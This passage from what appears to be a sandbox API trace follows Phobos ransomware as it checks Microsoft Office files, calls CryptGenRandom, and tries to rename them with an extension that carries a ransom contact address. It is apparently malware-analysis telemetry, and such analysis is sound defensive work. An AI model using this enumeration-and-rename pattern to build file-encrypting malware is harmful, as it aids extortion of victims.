out: pbBuffer=0x3fdfba8) returned 1 [0154.787] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLWVW.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlwvw.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.788] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=128168) returned 1 [0154.788] CloseHandle (hObject=0x254) returned 1 [0154.788] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLWVW.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlwvw.dll")) returned 0x220 [0154.788] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLWVW.DLL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlwvw.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.788] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLWVW.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlwvw.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.788] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.788] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PE.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pe.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0154.791] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=237152) returned 1 [0154.791] CloseHandle (hObject=0x250) returned 1 [0154.791] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PE.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pe.vsl")) returned 0x220 [0154.791] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PE.VSL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pe.vsl.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.791] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PE.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pe.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.791] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.791] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PIPELINE.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pipeline.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.795] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=1920) returned 1 [0154.795] CloseHandle (hObject=0x254) returned 1 [0154.796] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PIPELINE.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pipeline.vrd")) returned 0x220 [0154.796] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PIPELINE.VRD.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pipeline.vrd.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.796] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PIPELINE.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pipeline.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.796] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.796] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PJINTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pjintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.797] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=4395112) returned 1 [0154.797] CloseHandle (hObject=0x254) returned 1 [0154.798] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PJINTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pjintl.dll")) returned 0x220 [0154.798] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PJINTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pjintl.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PJINTL.DLL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pjintl.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0154.798] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PJINTL.DLL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pjintl.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PJINTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pjintl.dll")) returned 0 [0154.798] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.798] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PMENURES.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pmenures.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.799] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=12384) returned 1 [0154.799] CloseHandle (hObject=0x254) returned 1 [0154.800] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PMENURES.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pmenures.dll")) returned 0x220 [0154.800] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PMENURES.DLL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pmenures.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.800] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PMENURES.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pmenures.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.800] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.800] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\powerpnt.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0154.892] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=460918) returned 1 [0154.892] CloseHandle (hObject=0x588) returned 1 [0154.892] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\powerpnt.hxs")) returned 0x220 [0154.892] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT.HXS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\powerpnt.hxs.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.892] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\powerpnt.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.893] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.893] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_online_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0154.893] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=666) returned 1 [0154.893] CloseHandle (hObject=0x588) returned 1 [0154.893] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_online_col.hxc")) returned 0x220 [0154.893] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE_COL.HXC.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_online_col.hxc.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.893] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_online_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.897] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.897] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_online_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0154.898] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=214) returned 1 [0154.898] CloseHandle (hObject=0x588) returned 1 [0154.898] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_online_col.hxt")) returned 0x220 [0154.898] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE_COL.HXT.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_online_col.hxt.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.898] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_online_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.898] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.898] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_online_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0154.899] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=114) returned 1 [0154.899] CloseHandle (hObject=0x588) returned 1 [0154.899] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_online_f_col.hxk")) returned 0x220 [0154.899] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE_F_COL.HXK.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_online_f_col.hxk.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.899] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_online_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.900] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.900] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_online_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0154.901] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=113) returned 1 [0154.901] CloseHandle (hObject=0x588) returned 1 [0154.901] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_online_k_col.hxk")) returned 0x220 [0154.901] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE_K_COL.HXK.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_online_k_col.hxk.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.901] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_online_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.901] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.901] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SLINTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\slintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0154.903] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=9944) returned 1 [0154.903] CloseHandle (hObject=0x588) returned 1 [0154.903] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SLINTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\slintl.dll")) returned 0x220 [0154.903] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SLINTL.DLL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\slintl.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.903] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SLINTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\slintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.903] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.903] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SOCIALCONNECTORRES.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\socialconnectorres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0154.906] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=242816) returned 1 [0154.906] CloseHandle (hObject=0x588) returned 1 [0154.906] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SOCIALCONNECTORRES.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\socialconnectorres.dll")) returned 0x220 [0154.906] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SOCIALCONNECTORRES.DLL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\socialconnectorres.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.906] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SOCIALCONNECTORRES.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\socialconnectorres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.907] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.907] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SPACE.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\space.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0154.908] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=1604) returned 1 [0154.908] CloseHandle (hObject=0x588) returned 1 [0154.908] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SPACE.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\space.vrd")) returned 0x220 [0154.908] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SPACE.VRD.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\space.vrd.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.908] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SPACE.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\space.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.909] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.909] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\STSLISTI.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\stslisti.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0154.911] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=90328) returned 1 [0154.911] CloseHandle (hObject=0x588) returned 1 [0154.911] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\STSLISTI.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\stslisti.dll")) returned 0x220 [0154.911] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\STSLISTI.DLL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\stslisti.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.911] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\STSLISTI.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\stslisti.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.912] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.912] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeAccess.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeaccess.nrr"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0154.912] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=185912) returned 1 [0154.912] CloseHandle (hObject=0x588) returned 1 [0154.914] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeAccess.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeaccess.nrr")) returned 0x220 [0154.915] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeAccess.nrr.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeaccess.nrr.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.915] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeAccess.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeaccess.nrr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.915] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.915] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeExcel.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeexcel.nrr"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0154.916] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=385016) returned 1 [0154.916] CloseHandle (hObject=0x588) returned 1 [0154.916] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeExcel.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeexcel.nrr")) returned 0x220 [0154.916] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeExcel.nrr.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeexcel.nrr.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.916] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeExcel.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeexcel.nrr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.916] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.916] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOneNote.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeonenote.nrr"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0154.917] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=129488) returned 1 [0154.917] CloseHandle (hObject=0x588) returned 1 [0154.917] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOneNote.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeonenote.nrr")) returned 0x220 [0154.917] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft 